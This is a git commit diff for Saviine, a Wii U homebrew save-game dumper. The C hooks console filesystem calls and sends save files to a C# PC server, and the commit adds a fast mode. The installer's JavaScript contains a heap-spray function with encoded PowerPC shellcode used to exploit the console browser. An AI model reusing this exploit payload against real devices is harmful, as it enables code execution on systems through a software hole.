Fixed a lot of games

new entry point
added fast/normal mode
This commit is contained in:
Maschell 2015-10-17 17:51:24 +02:00
parent 424402ec54
commit a25fcc1e39
15 changed files with 280 additions and 213 deletions

12
README
View File

@ -1,12 +1,12 @@
Saviine 0.1
Saviine 0.2
Compatible with 5.3.2 fw
dumps WiiU Saves and is a mod of cafiine. Thanks to everyone who worked on cafiine!
Compilation :
- in order to compile cafiine you need to put the cafiine folder in your libwiiu project
- libwiiu/cafiine/installer must be compiled like the other libwiiu examples (with the build.py script)
- in order to compile saviine you need to put the saviine folder in your libwiiu project
- libwiiu/saviine/installer must be compiled like the other libwiiu examples (with the build.py script)
Pre-made version :
- in www/saviine, it is already compiled, just put the folder in your server
@ -15,10 +15,16 @@ Note :
- you can change the server ip directly in the application.
- start the saviine in folder with a short path, some savedata files have some really long names (170+ chracters)
- backup your savedata before dumping it!!! I'm not responsible for any lost data.
- fastmode doesn't work for all games.
How to use :
Usage:
Normal mode: saviine_server.exe
Fast mode: saviine_server.exe fastmode
- launch the kernel exploit in the brower
- open saviine server in your computer, check your ip
(you can start the server in fastmode (faster dumper), this doesn't work for all games. Only use it when the savegame is really big (e.g. Super Smash Bros for WiiU) )
- relaunch browser and launch saviine app, set saviine server ip in the application with up/down/left/right, and press A to install saviine
-> browser should exit
- launch a game or application

View File

@ -15,7 +15,18 @@ extern FSStatus FSCloseDir(FSClient *pClient, FSCmdBlock *pCmd, int dh, FSRetFla
extern FSStatus FSReadFile(FSClient *pClient, FSCmdBlock *pCmd, void *buffer, int size, int count, int fd, int flag, int error);
extern FSStatus FSSetPosFile(FSClient *pClient, FSCmdBlock *pCmd, int fd, int pos, int error);
extern FSStatus FSCloseFile (FSClient *pClient, FSCmdBlock *pCmd, int fd, int error);
extern FSStatus FSOpenFile(FSClient *pClient, FSCmdBlock *pCmd, char *path, const char *mode, int *handle, int error);
extern void OSDynLoad_Acquire (char* rpl, unsigned int *handle);
extern void OSDynLoad_FindExport (unsigned int handle, int isdata, char *symbol, void *address);
void GX2WaitForVsync(void);
static void dump_saves(void *pClient, void *pCmd,int error, int client);
// Async
typedef void (*FSAsyncCallback)(void *pClient, void *pCmd, int result, void *context);
typedef struct
{
FSAsyncCallback userCallback;
void *userContext;
void *ioMsgQueue;
} FSAsyncParams;
DECL(int, FSAInit, void) {
if ((int)bss_ptr == 0x0a000000) {
@ -43,9 +54,6 @@ DECL(int, FSADelClient, int client) {
return real_FSADelClient(client);
}
DECL(int, FSAOpenFile, int client, const char *path, const char *mode, int *handle) {
return real_FSAOpenFile(client, path, mode, handle);
}
static int client_num_alloc(void *pClient) {
int i;
@ -57,9 +65,11 @@ static int client_num_alloc(void *pClient) {
}
return -1;
}
static void clietn_num_free(int client) {
bss.pClient_fs[client] = 0;
}
static int client_num(void *pClient) {
int i;
@ -69,12 +79,53 @@ static int client_num(void *pClient) {
return -1;
}
DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *handle, int error) {
if ((int)bss_ptr != 0x0a000000) {
int client = client_num(pClient);
if (client < MAX_CLIENT && client >= 0) {
if(bss.savesDumped == 0){
dump_saves(pClient,pCmd,error,client);
bss.savesDumped = 1;
}
}
}
struct fs_async_t {
void (*callback)(int status, int command, void *request, void *response, void *context);
void *context;
void *queue;
};
return real_FSOpenFile(pClient, pCmd, path, mode, handle, error);
}
static void init_Save(){
int (*SAVEInit)();
unsigned int save_handle;
char buffer[50];
int i = 0;
buffer[i++] = 'n';
buffer[i++] = 'n';
buffer[i++] = '_';
buffer[i++] = 's';
buffer[i++] = 'a';
buffer[i++] = 'v';
buffer[i++] = 'e';
buffer[i++] = '.';
buffer[i++] = 'r';
buffer[i++] = 'p';
buffer[i++] = 'l';
buffer[i++] = '\0';
OSDynLoad_Acquire(buffer, &save_handle);
i = 0;
buffer[i++] = 'S';
buffer[i++] = 'A';
buffer[i++] = 'V';
buffer[i++] = 'E';
buffer[i++] = 'I';
buffer[i++] = 'n';
buffer[i++] = 'i';
buffer[i++] = 't';
buffer[i++] = '\0';
OSDynLoad_FindExport(save_handle, 0, buffer, &SAVEInit);
SAVEInit();
}
#define DUMP_BLOCK_SIZE (0x200 * 100)
#define DUMP_BLOCK_SIZE_SLOW (0x20 * 100)
@ -89,7 +140,7 @@ static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error,
new_mode[1] = '\0';
FSDirEntry dir_entry;
while (FSReadDir(pClient, pCmd, dir_handle, &dir_entry, FS_RET_ALL_ERROR) == FS_STATUS_OK)
while (FSReadDir(pClient, pCmd, dir_handle, &dir_entry, FS_RET_ALL_ERROR) == FS_STATUS_OK)
{
char full_path[255];
int i=0;
@ -105,6 +156,7 @@ static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error,
full_path[i++] = '\0';
log_string(bss.socket_fsa[client], full_path, BYTE_LOG_STR);
if((dir_entry.stat.flag&FS_STAT_FLAG_IS_DIRECTORY) == FS_STAT_FLAG_IS_DIRECTORY){
char type[4];
type[0] = 'd';
@ -112,7 +164,7 @@ static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error,
type[2] = 'r';
type[3] = '\0';
log_string(bss.socket_fsa[client], type, BYTE_LOG_STR);
dump_dir(pClient,client,pCmd,full_path,error,my_handle);
dump_dir(pClient,client, pCmd,full_path,-1,my_handle);
}else{
char type[5];
type[0] = 'f';
@ -121,70 +173,38 @@ static int dump_dir(void *pClient,int client, void *pCmd, char *path, int error,
type[3] = 'e';
type[4] = '\0';
log_string(bss.socket_fsa[client], type, BYTE_LOG_STR);
//DUMP
ret = FSOpenFile(pClient, pCmd, full_path, new_mode, &my_handle, error);
if (ret >= 0) {
int my_ret = 1;
ret = real_FSOpenFile(pClient, pCmd, full_path, new_mode, &my_handle, FS_RET_ALL_ERROR);
if (ret >= 0) {
int my_ret = cafiine_send_handle(bss.socket_fsa[client], client, full_path, my_handle);
log_string(bss.socket_fsa[client], full_path, BYTE_LOG_STR);
int size = (my_ret == 1 ? DUMP_BLOCK_SIZE : DUMP_BLOCK_SIZE_SLOW);
cafiine_send_handle(bss.socket_fsa[client], client, full_path, my_handle);
void* buffer = memalign(sizeof(char) * size, 0x40);
int ret2;
while ((ret2 = FSReadFile(pClient, pCmd, buffer, 1, size, my_handle, 0, error)) > 0)
void * buffer = memalign(sizeof(char) * size, 0x40);
int ret2;
while ((ret2 = FSReadFile(pClient, pCmd, buffer, 1, size, my_handle, 0, 0)) > 0)
cafiine_send_file(bss.socket_fsa[client], buffer, ret2, my_handle);
cafiine_fclose(bss.socket_fsa[client], &ret2, my_handle);
FSSetPosFile(pClient, pCmd, my_handle, 0, error);
cafiine_fclose(bss.socket_fsa[client], &ret2, my_handle);
FSSetPosFile(pClient, pCmd, my_handle, 0, FS_RET_ALL_ERROR);
free(buffer);
FSCloseFile(pClient, pCmd, my_handle, -1);
}
}
FSCloseFile(pClient, pCmd, my_handle, -1);
}else{
type[0] = '9' + ret;
type[1] = '0';
log_string(bss.socket_fsa[client], type, BYTE_LOG_STR);
}
}
}
FSCloseDir(pClient, pCmd, dir_handle, FS_RET_NO_ERROR);
}else{
/*
char error[3];
error[0] = '-';
error[1] = (ret*-1) + '0';
error[2] = '\0'; */
//log_string(bss.socket_fsa[client], foo, BYTE_LOG_STR);
return -1;
}
FSCloseDir(pClient, pCmd, dir_handle, FS_RET_NO_ERROR);
}
return 0;
}
DECL(int, FSInit, void) {
if ((int)bss_ptr == 0x0a000000) {
bss_ptr = memalign(sizeof(struct bss_t), 0x40);
memset(bss_ptr, 0, sizeof(struct bss_t));
}
return real_FSInit();
}
DECL(int, FSShutdown, void) {
return real_FSShutdown();
}
DECL(int, FSAddClientEx, void *r3, void *r4, void *r5) {
int res = real_FSAddClientEx(r3, r4, r5);
if ((int)bss_ptr != 0x0a000000 && res >= 0) {
int client = client_num_alloc(r3);
if (client < MAX_CLIENT && client >= 0) {
cafiine_connect(&bss.socket_fs[client]);
}
}
return res;
}
DECL(int, FSDelClient, void *pClient) {
if ((int)bss_ptr != 0x0a000000) {
int client = client_num(pClient);
if (client < MAX_CLIENT && client >= 0) {
cafiine_disconnect(bss.socket_fs[client]);
clietn_num_free(client);
}
}
return real_FSDelClient(pClient);
}
static void dump_saves(void *pClient, void *pCmd,int error, int client){
init_Save();
int i = 0;
char save_path[255];
char save_user[9];
@ -238,7 +258,7 @@ static void dump_saves(void *pClient, void *pCmd,int error, int client){
int id = 1;
do{
//log_string(bss.socket_fsa[client], save_path, BYTE_LOG_STR);
if (dump_dir(pClient,client,pCmd,save_path,error,50) == 0);// id = 257; // break if successful
if (dump_dir(pClient,client,pCmd,save_path,-1,50) == 0);// id = 257; // break if successful
int first = id/16;
int seconds = id%16;
if(first <= 9)
@ -276,18 +296,36 @@ static void dump_saves(void *pClient, void *pCmd,int error, int client){
log_string(bss.socket_fsa[client], info, BYTE_LOG_STR);
}
DECL(int, FSGetStat, void *pClient, void *pCmd, char *path, void *stats, int error) {
DECL(int, FSInit, void) {
if ((int)bss_ptr == 0x0a000000) {
bss_ptr = memalign(sizeof(struct bss_t), 0x40);
memset(bss_ptr, 0, sizeof(struct bss_t));
}
return real_FSInit();
}
DECL(int, FSShutdown, void) {
return real_FSShutdown();
}
DECL(int, FSAddClientEx, void *r3, void *r4, void *r5) {
int res = real_FSAddClientEx(r3, r4, r5);
if ((int)bss_ptr != 0x0a000000 && res >= 0) {
int client = client_num_alloc(r3);
if (client < MAX_CLIENT && client >= 0) {
cafiine_connect(&bss.socket_fs[client]);
}
}
return res;
}
DECL(int, FSDelClient, void *pClient) {
if ((int)bss_ptr != 0x0a000000) {
int client = client_num(pClient);
if (client < MAX_CLIENT && client >= 0) {
if(bss.savesDumped == 0){
dump_saves(pClient,pCmd,error,client);
bss.savesDumped = 2;
}
}
cafiine_disconnect(bss.socket_fs[client]);
clietn_num_free(client);
}
}
return real_FSGetStat(pClient, pCmd, path, stats, error);
return real_FSDelClient(pClient);
}
#define MAKE_MAGIC(x) { x, my_ ## x, &real_ ## x }
@ -300,9 +338,8 @@ struct magic_t {
MAKE_MAGIC(FSAInit),
MAKE_MAGIC(FSAShutdown),
MAKE_MAGIC(FSAAddClient),
MAKE_MAGIC(FSADelClient),
MAKE_MAGIC(FSAOpenFile),
MAKE_MAGIC(FSGetStat),
MAKE_MAGIC(FSADelClient),
MAKE_MAGIC(FSOpenFile),
MAKE_MAGIC(FSInit),
MAKE_MAGIC(FSShutdown),
MAKE_MAGIC(FSAddClientEx),

View File

@ -55,7 +55,7 @@ struct bss_t {
void cafiine_connect(int *socket);
void cafiine_disconnect(int socket);
int cafiine_fopen(int socket, int *result, const char *path, const char *mode, int *handle);
void cafiine_send_handle(int sock, int client, const char *path, int handle);
int cafiine_send_handle(int sock, int client, const char *path, int handle);
void cafiine_send_file(int sock, char *file, int size, int fd);
int cafiine_fread(int socket, int *result, void *buffer, int size, int count, int fd);
int cafiine_fclose(int socket, int *result, int fd);

View File

@ -18,8 +18,8 @@ static int cafiine_handshake(int sock);
//#define BYTE_STATFILE 0x05
//#define BYTE_EOF 0x06
//#define BYTE_GETPOS 0x07
//#define BYTE_REQUEST 0x08
//#define BYTE_REQUEST_SLOW 0x09
#define BYTE_REQUEST 0x08
#define BYTE_REQUEST_SLOW 0x09
#define BYTE_HANDLE 0x0A
#define BYTE_DUMP 0x0B
#define BYTE_PING 0x0C
@ -80,11 +80,11 @@ error:
}
void cafiine_send_handle(int sock, int client, const char *path, int handle)
int cafiine_send_handle(int sock, int client, const char *path, int handle)
{
while (bss.lock) GX2WaitForVsync();
bss.lock = 1;
CHECK_ERROR(sock == -1);
// create and send buffer with : [cmd id][handle][path length][path data ...]
@ -104,14 +104,23 @@ void cafiine_send_handle(int sock, int client, const char *path, int handle)
ret = sendwait(sock, buffer, 1 + 4 + 4 + len_path);
CHECK_ERROR(ret < 0);
// wait reply
// wait reply
ret = recvbyte(sock);
CHECK_ERROR(ret != BYTE_SPECIAL);
if(ret == BYTE_REQUEST){
ret = 1;
}else{
ret = 2;
}
// wait reply
int special_ret = recvbyte(sock);
CHECK_ERROR(special_ret != BYTE_SPECIAL);
bss.lock = 0;
return ret;
}
error:
bss.lock = 0;
return;
return -1;
}
void cafiine_send_file(int sock, char *file, int size, int fd) {

View File

@ -29,6 +29,8 @@ PROVIDE(FSShutdown = 0x1068538);
PROVIDE(FSAddClientEx = 0x10685fc);
PROVIDE(FSDelClient = 0x1068a08);
PROVIDE(FSOpenFile = 0x106ef7c);
PROVIDE(FSOpenFileAsync = 0x0106a434);
PROVIDE(FSCloseFile = 0x106f088);
PROVIDE(FSReadFile = 0x106f108);
PROVIDE(FSReadFileWithPos = 0x106f194);
@ -67,4 +69,8 @@ PROVIDE(MEMAllocFromDefaultHeapEx = 0x1004e9c0);
PROVIDE(MEMFreeToDefaultHeap = 0x100b487c);
/* OS data */
PROVIDE(title_id = 0x100136D0);
PROVIDE(title_id = 0x100136D0);
/* Libs */
PROVIDE(OSDynLoad_FindExport = 0x102b790);
PROVIDE(OSDynLoad_Acquire = 0x102a31c);

View File

@ -0,0 +1 @@
saviine_server.exe fastmode

Binary file not shown.

View File

@ -21,8 +21,8 @@ namespace saviine_server
//public const byte BYTE_STATFILE = 0x05;
//public const byte BYTE_EOF = 0x06;
//public const byte BYTE_GETPOS = 0x07;
//public const byte BYTE_REQUEST = 0x08;
//public const byte BYTE_REQUEST_SLOW = 0x09;
public const byte BYTE_REQUEST = 0x08;
public const byte BYTE_REQUEST_SLOW = 0x09;
public const byte BYTE_HANDLE = 0x0A;
public const byte BYTE_DUMP = 0x0B;
public const byte BYTE_PING = 0x0C;
@ -74,17 +74,22 @@ namespace saviine_server
public static string logs_root = "logs";
const uint BUFFER_SIZE = 64 * 1024;
static Boolean fastmode = false;
static void Main(string[] args)
{
if (args.Length > 1)
{
Console.Error.WriteLine("Usage: saviine_server [rootdir]");
Console.Error.WriteLine("Usage: saviine_server [fastmode|fast]");
return;
}
if (args.Length == 1)
{
root = args[0];
if (args[0].Equals("fastmode") || args[0].Equals("fast") || args[0].Equals("-fast"))
{
fastmode = true;
Console.WriteLine("Now using fastmode");
}
}
// Check for cafiine_root and logs folder
if (!Directory.Exists(root))
@ -156,9 +161,7 @@ namespace saviine_server
uint[] ids = reader.ReadUInt32s(4);
// Log connection
Console.WriteLine(name + " Accepted connection from client " + client.Client.RemoteEndPoint.ToString());
Console.WriteLine(name + " TitleID: " + ids[0].ToString("X8") + "-" + ids[1].ToString("X8"));
string LocalRoot = root + "\\" + ids[0].ToString("X8") + "-" + ids[1].ToString("X8") + "\\";
@ -174,6 +177,9 @@ namespace saviine_server
Directory.CreateDirectory(LocalRoot);
}
}
// Log connection
Console.WriteLine(name + " Accepted connection from client " + client.Client.RemoteEndPoint.ToString());
Console.WriteLine(name + " TitleID: " + ids[0].ToString("X8") + "-" + ids[1].ToString("X8"));
// Create log file for current thread
log = new StreamWriter(logs_root + "\\" + DateTime.Now.ToString("yyyy-MM-dd") + "-" + name + "-" + ids[0].ToString("X8") + "-" + ids[1].ToString("X8") + ".txt", true, Encoding.ASCII, 1024*64);
@ -201,7 +207,16 @@ namespace saviine_server
// Add new file for incoming data
files_request.Add(fd, new FileStream(LocalRoot + path, FileMode.OpenOrCreate, FileAccess.Write, FileShare.Write));
// Send response
if (fastmode) {
Log(log, "fast");
writer.Write(BYTE_REQUEST);
}
else
{
Log(log, "slow");
writer.Write(BYTE_REQUEST_SLOW);
}
// Send response
writer.Write(BYTE_SPECIAL);
break;
@ -230,8 +245,7 @@ namespace saviine_server
break;
}
}
}
// Send response
writer.Write(BYTE_SPECIAL);
break;

View File

@ -1,6 +0,0 @@
G:\Programmieren\libwiiu-master\saviine\saviine\server\src\bin\saviine_server.exe.config
G:\Programmieren\libwiiu-master\saviine\saviine\server\src\bin\saviine_server.exe
G:\Programmieren\libwiiu-master\saviine\saviine\server\src\bin\saviine_server.pdb
G:\Programmieren\libwiiu-master\saviine\saviine\server\src\obj\x86\Debug\saviine_server.csprojResolveAssemblyReference.cache
G:\Programmieren\libwiiu-master\saviine\saviine\server\src\obj\x86\Debug\saviine_server.exe
G:\Programmieren\libwiiu-master\saviine\saviine\server\src\obj\x86\Debug\saviine_server.pdb

View File

@ -55,37 +55,37 @@ function sprayInc(n) {
}
function sprayCode(n) {
var str = unescape("%ucafe%ucafe%u9421%ufe90%u7c08%u02a6%u9001%u0174%u93e1%u016c%u7c3f%u0b78%u3c20%u1ab5%u6021%ud138%u395f%u0030%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1cdc%u7d44%u5378%u7d29%u03a6%u4e80%u0421");
str += unescape("%u811f%u0030%u395f%u0034%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1cec%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0038%u3d20%u0102%u6129%ub790%u7d03%u4378");
str += unescape("%u3880%u0000%u3d00%u0180%u38a8%u1cf4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u003c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1d04%u7d46%u5378%u7d29%u03a6");
str += unescape("%u4e80%u0421%u813f%u0034%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1d1c%u7d29%u03a6%u4e80%u0421%u813f%u0038%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180");
str += unescape("%u386a%u1d38%u7d29%u03a6%u4e80%u0421%u813f%u003c%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1d58%u7d29%u03a6%u4e80%u0421%u813f%u003c%u3c60%ua000%u7d29%u03a6%u4e80%u0421");
str += unescape("%u7c6a%u1b78%u3d20%u3100%u7f8a%u4800%u419e%u0020%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1d84%u7d29%u03a6%u4e80%u0421%u4800%u07bc%u3d20%uc0a8%u6129%u010a%u913f%u0040%u811f%u0030%u395f%u0044");
str += unescape("%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1d90%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0048%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180");
str += unescape("%u38a8%u1da0%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u004c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1db8%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030");
str += unescape("%u395f%u0050%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1dcc%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0054%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000");
str += unescape("%u3d00%u0180%u38a8%u1de4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0058%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1dfc%u7d46%u5378%u7d29%u03a6%u4e80%u0421");
var str = unescape("%ucafe%ucafe%u9421%ufe90%u7c08%u02a6%u9001%u0174%u93e1%u016c%u7c3f%u0b78%u3c20%u1ab5%u6021%ud138%u395f%u0030%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1e30%u7d44%u5378%u7d29%u03a6%u4e80%u0421");
str += unescape("%u811f%u0030%u395f%u0034%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1e40%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0038%u3d20%u0102%u6129%ub790%u7d03%u4378");
str += unescape("%u3880%u0000%u3d00%u0180%u38a8%u1e48%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u003c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1e58%u7d46%u5378%u7d29%u03a6");
str += unescape("%u4e80%u0421%u813f%u0034%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1e70%u7d29%u03a6%u4e80%u0421%u813f%u0038%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180");
str += unescape("%u386a%u1e8c%u7d29%u03a6%u4e80%u0421%u813f%u003c%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1eac%u7d29%u03a6%u4e80%u0421%u813f%u003c%u3c60%ua000%u7d29%u03a6%u4e80%u0421");
str += unescape("%u7c6a%u1b78%u3d20%u3100%u7f8a%u4800%u419e%u0020%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1ed8%u7d29%u03a6%u4e80%u0421%u4800%u07bc%u3d20%uc0a8%u6129%u010a%u913f%u0040%u811f%u0030%u395f%u0044");
str += unescape("%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1ee4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0048%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180");
str += unescape("%u38a8%u1ef4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u004c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1f0c%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030");
str += unescape("%u395f%u0050%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1f20%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0054%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000");
str += unescape("%u3d00%u0180%u38a8%u1f38%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0030%u395f%u0058%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1f50%u7d46%u5378%u7d29%u03a6%u4e80%u0421");
str += unescape("%u3920%u0000%u913f%u0014%u3920%u0000%u913f%u0018%u3920%u0000%u913f%u001c%u813f%u0044%u7d29%u03a6%u4e80%u0421%u813f%u0048%u3860%u0000%u7d29%u03a6%u4e80%u0421%u7c69%u1b78%u913f%u0014%u813f%u0048");
str += unescape("%u3860%u0001%u7d29%u03a6%u4e80%u0421%u7c69%u1b78%u913f%u0018%u813f%u004c%u3860%u0000%u3c80%uf400%u7d29%u03a6%u4e80%u0421%u813f%u004c%u815f%u0014%u3d4a%uf400%u3860%u0001%u7d44%u5378%u7d29%u03a6");
str += unescape("%u4e80%u0421%u813f%u0050%u3860%u0000%u809f%u001c%u7d29%u03a6%u4e80%u0421%u813f%u0050%u3860%u0001%u809f%u001c%u7d29%u03a6%u4e80%u0421%u813f%u0038%u3c60%uf400%u809f%u0014%u7d29%u03a6%u4e80%u0421");
str += unescape("%u813f%u0038%u815f%u0014%u3d4a%uf400%u7d43%u5378%u809f%u0018%u7d29%u03a6%u4e80%u0421%u813f%u0054%u3860%u0000%u7d29%u03a6%u4e80%u0421%u813f%u0054%u3860%u0001%u7d29%u03a6%u4e80%u0421%u395f%u005c");
str += unescape("%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1e10%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u811f%u005c%u395f%u0060%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1e1c%u7d46%u5378");
str += unescape("%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1f64%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u811f%u005c%u395f%u0060%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1f70%u7d46%u5378");
str += unescape("%u7d29%u03a6%u4e80%u0421%u3920%u0003%u993f%u0008%u3920%u0001%u993f%u0009%u813f%u0060%u391f%u0068%u395f%u0064%u3860%u0000%u7d04%u4378%u38a0%u0001%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u893f%u0009");
str += unescape("%u5529%u063e%u2f89%u0000%u419e%u0028%u813f%u0054%u3860%u0001%u7d29%u03a6%u4e80%u0421%u813f%u0050%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u0012%u38a0%u0001");
str += unescape("%u3d40%u0180%u38ca%u1e28%u7d29%u03a6%u4e80%u0421%u893f%u0040%u5529%u063e%u7d27%u4b78%u893f%u0041%u5529%u063e%u7d28%u4b78%u893f%u0042%u5529%u063e%u895f%u0043%u554a%u063e%u38df%u0114%u3ca0%u0102");
str += unescape("%u60ab%uf09c%u7cc3%u3378%u3880%u0050%u3cc0%u0180%u38a6%u1e48%u3cc0%u0180%u38c6%u1e60%u7d69%u03a6%u4cc6%u3182%u4e80%u0421%u813f%u0058%u395f%u0114%u3860%u0001%u3880%u0000%u38a0%u0005%u7d46%u5378");
str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u0000%u38a0%u0006%u3d40%u0180%u38ca%u1e70%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u002a%u38a0%u0011%u3d40%u0180%u38ca%u1e90");
str += unescape("%u7d29%u03a6%u4e80%u0421%u893f%u0008%u5529%u103a%u5529%u063e%u3929%u000f%u993f%u0020%u813f%u0058%u895f%u0020%u554a%u063e%u3860%u0001%u7d44%u5378%u38a0%u0004%u3d40%u0180%u38ca%u1ea8%u7d29%u03a6");
str += unescape("%u3d40%u0180%u38ca%u1f7c%u7d29%u03a6%u4e80%u0421%u893f%u0040%u5529%u063e%u7d27%u4b78%u893f%u0041%u5529%u063e%u7d28%u4b78%u893f%u0042%u5529%u063e%u895f%u0043%u554a%u063e%u38df%u0114%u3ca0%u0102");
str += unescape("%u60ab%uf09c%u7cc3%u3378%u3880%u0050%u3cc0%u0180%u38a6%u1f9c%u3cc0%u0180%u38c6%u1fb4%u7d69%u03a6%u4cc6%u3182%u4e80%u0421%u813f%u0058%u395f%u0114%u3860%u0001%u3880%u0000%u38a0%u0005%u7d46%u5378");
str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u0000%u38a0%u0006%u3d40%u0180%u38ca%u1fc4%u7d29%u03a6%u4e80%u0421%u813f%u0058%u3860%u0001%u3880%u002a%u38a0%u0011%u3d40%u0180%u38ca%u1fe4");
str += unescape("%u7d29%u03a6%u4e80%u0421%u893f%u0008%u5529%u103a%u5529%u063e%u3929%u000f%u993f%u0020%u813f%u0058%u895f%u0020%u554a%u063e%u3860%u0001%u7d44%u5378%u38a0%u0004%u3d40%u0180%u38ca%u1ffc%u7d29%u03a6");
str += unescape("%u4e80%u0421%u813f%u0060%u391f%u0068%u395f%u0064%u3860%u0000%u7d04%u4378%u38a0%u0001%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u893f%u0009%u5529%u063e%u2f89%u0000%u419e%u002c%u813f%u0054%u3860%u0001");
str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u0050%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u4800%u0174%u813f%u0068%u5529%u07bc%u2f89%u0000%u419e%u0008%u4800%u0374%u813f%u0068%u5529%u0420%u2f89%u0000");
str += unescape("%u419e%u0020%u6000%u0000%u3920%u12b4%u913f%u000c%u3d20%ua11d%u6129%ue000%u913f%u0024%u4800%u0180%u813f%u0068%u5529%u0528%u2f89%u0000%u419e%u003c%u893f%u0008%u5529%u063e%u2f89%u0000%u409e%u0014");
str += unescape("%u419e%u0020%u6000%u0000%u3920%u1414%u913f%u000c%u3d20%ua11d%u6129%ue000%u913f%u0024%u4800%u0180%u813f%u0068%u5529%u0528%u2f89%u0000%u419e%u003c%u893f%u0008%u5529%u063e%u2f89%u0000%u409e%u0014");
str += unescape("%u3920%u0003%u993f%u0008%u3920%u0003%u4800%u0018%u893f%u0008%u3929%uffff%u993f%u0008%u893f%u0008%u5529%u063e%u993f%u0008%u813f%u0068%u5529%u056a%u2f89%u0000%u419e%u001c%u893f%u0008%u3929%u0001");
str += unescape("%u993f%u0008%u893f%u0008%u5529%u07be%u993f%u0008%u813f%u0068%u5529%u05ac%u2f89%u0000%u419e%u0054%u893f%u0008%u5528%u063e%u893f%u0008%u5529%u063e%u395f%u0008%u7d4a%u4a14%u894a%u0038%u554a%u063e");
str += unescape("%u394a%u0001%u5547%u063e%u395f%u0008%u7d4a%u4a14%u98ea%u0038%u395f%u0008%u7d2a%u4a14%u8929%u0038%u552a%u063e%u393f%u0008%u7d29%u4214%u9949%u0038%u813f%u0068%u5529%u05ee%u2f89%u0000%u419e%u0054");
str += unescape("%u893f%u0008%u5528%u063e%u893f%u0008%u5529%u063e%u395f%u0008%u7d4a%u4a14%u894a%u0038%u554a%u063e%u394a%uffff%u5547%u063e%u395f%u0008%u7d4a%u4a14%u98ea%u0038%u395f%u0008%u7d2a%u4a14%u8929%u0038");
str += unescape("%u552a%u063e%u393f%u0008%u7d29%u4214%u9949%u0038%u813f%u0068%u5529%u052e%u2f89%u0000%u7d20%u0026%u5529%ufffe%u6929%u0001%u5529%u063e%u993f%u0009%u4bff%ufccc%u815f%u0024%u813f%u000c%u7d2a%u4a14");
